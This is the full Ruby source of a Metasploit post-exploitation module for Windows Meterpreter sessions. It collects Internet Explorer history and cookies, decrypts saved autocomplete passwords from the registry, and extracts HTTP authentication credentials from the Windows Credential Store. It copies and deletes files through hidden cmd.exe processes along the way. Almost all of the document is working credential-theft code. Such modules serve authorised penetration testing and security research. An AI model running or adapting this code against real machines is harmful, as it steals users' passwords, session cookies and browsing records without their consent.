421 lines
13 KiB
Ruby
421 lines
13 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Registry
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Windows Gather Internet Explorer User Data Enumeration",
|
|
'Description' => %q{
|
|
This module will collect history, cookies, and credentials (from either HTTP
|
|
auth passwords, or saved form passwords found in auto-complete) in
|
|
Internet Explorer. The ability to gather credentials is only supported
|
|
for versions of IE >=7, while history and cookies can be extracted for all
|
|
versions.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Author' => ['Kx499']
|
|
))
|
|
end
|
|
|
|
#
|
|
# RAILGUN HELPER FUNCTIONS
|
|
#
|
|
def is_86
|
|
pid = session.sys.process.open.pid
|
|
return session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
|
|
end
|
|
|
|
|
|
def pack_add(data)
|
|
if is_86
|
|
addr = [data].pack("V")
|
|
else
|
|
addr = [data].pack("Q<")
|
|
end
|
|
return addr
|
|
end
|
|
|
|
|
|
def mem_write(data, length)
|
|
pid = session.sys.process.open.pid
|
|
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
|
mem = process.memory.allocate(length)
|
|
process.memory.write(mem, data)
|
|
return mem
|
|
end
|
|
|
|
|
|
def read_str(address,len,type)
|
|
begin
|
|
pid = session.sys.process.open.pid
|
|
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
|
raw = process.memory.read(address, len)
|
|
if type == 0 #unicode
|
|
str_data = raw.gsub("\x00","")
|
|
elsif type == 1 #null terminated
|
|
str_data = raw.unpack("Z*")[0]
|
|
elsif type == 2 #raw data
|
|
str_data = raw
|
|
end
|
|
rescue
|
|
str_data = nil
|
|
end
|
|
return str_data || "Error Decrypting"
|
|
end
|
|
|
|
|
|
#
|
|
# DECRYPT FUNCTIONS
|
|
#
|
|
def decrypt_reg(entropy,data)
|
|
c32 = session.railgun.crypt32
|
|
#set up entropy
|
|
salt = []
|
|
entropy.each_byte do |c|
|
|
salt << c
|
|
end
|
|
ent = salt.pack("v*")
|
|
|
|
#save values to memory and pack addresses
|
|
mem = mem_write(data, 1024)
|
|
mem2 = mem_write(ent, 1024)
|
|
addr = pack_add(mem)
|
|
len = pack_add(data.length)
|
|
eaddr = pack_add(mem2)
|
|
elen = pack_add((entropy.length + 1)*2)
|
|
|
|
#cal railgun to decrypt
|
|
if is_86
|
|
ret = c32.CryptUnprotectData("#{len}#{addr}",16,"#{elen}#{eaddr}",nil,nil,1,8)
|
|
len,add = ret["pDataOut"].unpack("V2")
|
|
else
|
|
ret = c32.CryptUnprotectData("#{len}#{addr}",16,"#{elen}#{eaddr}",nil,nil,1,16)
|
|
len,add = ret["pDataOut"].unpack("Q2")
|
|
end
|
|
|
|
return "" unless ret["return"]
|
|
return read_str(add, len, 2)
|
|
end
|
|
|
|
|
|
def decrypt_cred(daddr, dlen)
|
|
c32 = session.railgun.crypt32
|
|
#set up entropy
|
|
guid = "abe2869f-9b47-4cd9-a358-c22904dba7f7"
|
|
ent_sz = 74
|
|
salt = []
|
|
guid.each_byte do |c|
|
|
salt << c*4
|
|
end
|
|
ent = salt.pack("v*")
|
|
|
|
#write entropy to memory and pack addresses
|
|
mem = mem_write(ent,1024)
|
|
addr = pack_add(daddr)
|
|
len = pack_add(dlen)
|
|
eaddr = pack_add(mem)
|
|
elen = pack_add(ent_sz)
|
|
|
|
#prep vars and call function
|
|
if is_86
|
|
ret = c32.CryptUnprotectData("#{len}#{addr}",16,"#{elen}#{eaddr}",nil,nil,0,8)
|
|
len,add = ret["pDataOut"].unpack("V2")
|
|
else
|
|
ret = c32.CryptUnprotectData("#{len}#{addr}",16,"#{elen}#{eaddr}",nil,nil,0,16)
|
|
len,add = ret["pDataOut"].unpack("Q<2")
|
|
end
|
|
|
|
#get data, and return it
|
|
return "" unless ret["return"]
|
|
return read_str(add, len, 0)
|
|
end
|
|
|
|
|
|
#
|
|
# Extract IE Data Functions
|
|
#
|
|
def get_stuff(path, history)
|
|
t = DateTime.new(1601,1,1,0,0,0)
|
|
tmpout = ""
|
|
if history
|
|
re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x56\x69\x73\x69\x74\x65\x64\x3A.*?\x40(.*?)\x00/m
|
|
else #get cookies
|
|
re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x43\x6F\x6F\x6B\x69\x65\x3A(.*?)\x00/m
|
|
end
|
|
|
|
outfile = session.fs.file.new(path, "rb")
|
|
until outfile.eof?
|
|
tmpout << outfile.read rescue nil
|
|
end
|
|
outfile.close
|
|
|
|
urls = tmpout.scan(re)
|
|
urls.each do |url|
|
|
#date modified
|
|
hist = {}
|
|
origh = url[0].unpack('H*')[0]
|
|
harr = origh.scan(/[0-9A-Fa-f]{2}/).map { |i| i.to_s}
|
|
newh = harr.reverse.join
|
|
hfloat = newh.hex.to_f
|
|
sec = hfloat/10000000
|
|
days = sec/86400
|
|
timestamp = t + days
|
|
hist["dtmod"] = timestamp.to_s
|
|
|
|
#date accessed
|
|
origh = url[1].unpack('H*')[0]
|
|
harr = origh.scan(/[0-9A-Fa-f]{2}/).map { |i| i.to_s}
|
|
newh = harr.reverse.join
|
|
hfloat = newh.hex.to_f
|
|
sec = hfloat/10000000
|
|
days = sec/86400
|
|
timestamp = t + days
|
|
hist["dtacc"] = timestamp.to_s
|
|
hist["url"] = url[2]
|
|
if history
|
|
@hist_col << hist
|
|
@hist_table << [hist["dtmod"],hist["dtacc"],hist["url"]]
|
|
else
|
|
@cook_table << [hist["dtmod"],hist["dtacc"],hist["url"]]
|
|
end
|
|
end
|
|
end
|
|
|
|
|
|
def hash_url(url)
|
|
rg_advapi = session.railgun.advapi32
|
|
tail = 0
|
|
prov = "Microsoft Enhanced Cryptographic Provider v1.0"
|
|
flag = 0xF0000000
|
|
context = rg_advapi.CryptAcquireContextW(4, nil, prov, 1, 0xF0000000)
|
|
h = rg_advapi.CryptCreateHash(context['phProv'], 32772, 0, 0, 4)
|
|
hdata = rg_advapi.CryptHashData(h['phHash'], url, (url.length + 1)*2, 0)
|
|
hparam = rg_advapi.CryptGetHashParam(h['phHash'], 2, 20, 20,0)
|
|
hval_arr = hparam["pbData"].unpack("C*")
|
|
hval = hparam["pbData"].unpack("H*")[0]
|
|
rg_advapi.CryptDestroyHash(h['phHash'])
|
|
rg_advapi.CryptReleaseContext(context['phProv'], 0)
|
|
tail = hval_arr.inject(0) { |s,v| s += v }
|
|
htail = ("%02x" % tail)[-2,2]
|
|
return "#{hval}#{htail}"
|
|
end
|
|
|
|
|
|
def run
|
|
#check for meterpreter and version of ie
|
|
if session.type != "meterpreter" and session.platform !~ /win/
|
|
print_error("This module only works with Windows Meterpreter sessions")
|
|
return 0
|
|
end
|
|
|
|
#get version of ie and check it
|
|
ver = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Internet Explorer", "Version")
|
|
print_status("IE Version: #{ver}")
|
|
if ver =~ /(6\.|5\.)/
|
|
print_error("This module will only extract credentials for >= IE7")
|
|
end
|
|
|
|
#setup tables
|
|
@hist_table = Rex::Ui::Text::Table.new(
|
|
"Header" => "History data",
|
|
"Indent" => 1,
|
|
"Columns" => ["Date Modified", "Date Accessed", "Url"])
|
|
|
|
@cook_table = Rex::Ui::Text::Table.new(
|
|
"Header" => "Cookies data",
|
|
"Indent" => 1,
|
|
"Columns" => ["Date Modified", "Date Accessed", "Url"])
|
|
|
|
cred_table = Rex::Ui::Text::Table.new(
|
|
"Header" => "Credential data",
|
|
"Indent" => 1,
|
|
"Columns" => ["Type", "Url", "User", "Pass"])
|
|
|
|
#set up vars
|
|
rg = session.railgun
|
|
host = session.sys.config.sysinfo
|
|
@hist_col = []
|
|
|
|
#set paths
|
|
regpath = "HKCU\\Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2"
|
|
vist_h = "\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat"
|
|
vist_hlow = "\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat"
|
|
xp_h = "\\Local Settings\\History\\History.IE5\\index.dat"
|
|
vist_c = "\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat"
|
|
vist_clow = "\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat"
|
|
xp_c = "\\Cookies\\index.dat"
|
|
h_paths = []
|
|
c_paths = []
|
|
base = session.sys.config.getenv('USERPROFILE')
|
|
if host['OS'] =~ /(Windows 7|2008|Vista)/
|
|
h_paths << base + vist_h
|
|
h_paths << base + vist_hlow
|
|
c_paths << base + vist_c
|
|
c_paths << base + vist_clow
|
|
else
|
|
h_paths << base + xp_h
|
|
c_paths << base + xp_c
|
|
end
|
|
|
|
#Get history and cookies
|
|
print_status("Retrieving history.....")
|
|
h_paths.each do |hpath|
|
|
if session.fs.file.exist?(hpath)
|
|
print_line("\tFile: #{hpath}")
|
|
#copy file
|
|
cmd = "cmd.exe /c type \"#{hpath}\" > \"#{base}\\index.dat\""
|
|
r = session.sys.process.execute(cmd, nil, {'Hidden' => true})
|
|
|
|
#loop until cmd is done
|
|
#while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
|
|
#end
|
|
sleep(1)
|
|
|
|
#get stuff and delete
|
|
get_stuff("#{base}\\index.dat", true)
|
|
cmd = "cmd.exe /c del \"#{base}\\index.dat\""
|
|
session.sys.process.execute(cmd, nil, {'Hidden' => true})
|
|
end
|
|
end
|
|
|
|
print_status("Retrieving cookies.....")
|
|
c_paths.each do |cpath|
|
|
if session.fs.file.exist?(cpath)
|
|
print_line("\tFile: #{cpath}")
|
|
#copy file
|
|
cmd = "cmd.exe /c type \"#{cpath}\" > \"#{base}\\index.dat\""
|
|
r = session.sys.process.execute(cmd, nil, {'Hidden' => true})
|
|
|
|
#loop until cmd is done
|
|
#while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
|
|
#end
|
|
sleep(1)
|
|
|
|
#get stuff and delete
|
|
get_stuff("#{base}\\index.dat", false)
|
|
cmd = "cmd.exe /c del \"#{base}\\index.dat\""
|
|
session.sys.process.execute(cmd, nil, {'Hidden' => true})
|
|
end
|
|
end
|
|
|
|
#get autocomplete creds
|
|
print_status("Looping through history to find autocomplete data....")
|
|
val_arr = registry_enumvals(regpath)
|
|
if val_arr
|
|
@hist_col.each do |hitem|
|
|
url = hitem["url"].split('?')[0].downcase
|
|
hash = hash_url(url).upcase
|
|
if val_arr.include?(hash)
|
|
data = registry_getvaldata(regpath, hash)
|
|
dec = decrypt_reg(url, data)
|
|
|
|
# If CryptUnprotectData fails, decrypt_reg() will return "", and unpack() will end up
|
|
# returning an array of nils. If this happens, we can cause an "undefined method
|
|
# `+' for NilClass." when we try to calculate the offset, and this causes the module to die.
|
|
next if dec.empty?
|
|
|
|
#decode data and add to creds array
|
|
header = dec.unpack("VVVVVV")
|
|
|
|
offset = header[0] + header[1] #offset to start of data
|
|
cnt = header[5]/2 # of username/password combinations
|
|
secrets = dec[offset,dec.length-(offset + 1)].split("\x00\x00")
|
|
for i in (0..cnt).step(2)
|
|
cred = {}
|
|
cred["type"] = "Auto Complete"
|
|
cred["url"] = url
|
|
cred["user"] = secrets[i].gsub("\x00","")
|
|
cred["pass"] = secrets[i+1].gsub("\x00","") unless secrets[i+1].nil?
|
|
cred_table << [cred["type"],cred["url"],cred["user"],cred["pass"]]
|
|
end
|
|
end
|
|
end
|
|
else
|
|
print_error("No autocomplete entries found in registry")
|
|
end
|
|
|
|
#get creds from credential store
|
|
print_status("Looking in the Credential Store for HTTP Authentication Creds...")
|
|
#get data from credential store
|
|
ret = rg.advapi32.CredEnumerateA(nil,0,4,4)
|
|
p_to_arr = ret["Credentials"].unpack("V")
|
|
arr_len = ret["Count"] * 4 if is_86
|
|
arr_len = ret["Count"] * 8 unless is_86
|
|
|
|
#read array of addresses as pointers to each structure
|
|
raw = read_str(p_to_arr[0], arr_len,2)
|
|
pcred_array = raw.unpack("V*") if is_86
|
|
pcred_array = raw.unpack("Q<*") unless is_86
|
|
|
|
#loop through the addresses and read each credential structure
|
|
pcred_array.each do |pcred|
|
|
raw = read_str(pcred, 52,2)
|
|
cred_struct = raw.unpack("VVVVQ<VVVVVVV") if is_86
|
|
cred_struct = raw.unpack("VVQ<Q<Q<Q<Q<VVQ<Q<Q<") unless is_86
|
|
|
|
location = read_str(cred_struct[2],512, 1)
|
|
if location.include? "Microsoft_WinInet"
|
|
decrypted = decrypt_cred(cred_struct[6],cred_struct[5])
|
|
cred = {}
|
|
cred["type"] = "Credential Store"
|
|
cred["url"] = location.gsub("Microsoft_WinInet_", "")
|
|
cred["user"] = decrypted.split(':')[0] || "No Data"
|
|
cred["pass"] = decrypted.split(':')[1] || "No Data"
|
|
cred_table << [cred["type"],cred["url"],cred["user"],cred["pass"]]
|
|
end
|
|
end
|
|
|
|
#store data in loot
|
|
if not @hist_table.rows.empty?
|
|
print_status("Writing history to loot...")
|
|
path = store_loot(
|
|
'ie.history',
|
|
'text/plain',
|
|
session,
|
|
@hist_table,
|
|
'ie_history.txt',
|
|
'Internet Explorer Browsing History')
|
|
print_status("Data saved in: #{path}")
|
|
end
|
|
|
|
if not @cook_table.rows.empty?
|
|
print_status("Writing cookies to loot...")
|
|
path = store_loot(
|
|
'ie.cookies',
|
|
'text/plain',
|
|
session,
|
|
@cook_table,
|
|
'ie_cookies.txt',
|
|
'Internet Explorer Cookies')
|
|
print_status("Data saved in: #{path}")
|
|
end
|
|
|
|
if not cred_table.rows.empty?
|
|
print_status("Writing gathered credentials to loot...")
|
|
path = store_loot(
|
|
'ie.user.creds',
|
|
'text/plain',
|
|
session,
|
|
cred_table,
|
|
'ie_creds.txt',
|
|
'Internet Explorer User Credentials')
|
|
|
|
print_status("Data saved in: #{path}")
|
|
#print creds
|
|
print_line("")
|
|
print_line(cred_table.to_s)
|
|
end
|
|
end
|
|
end
|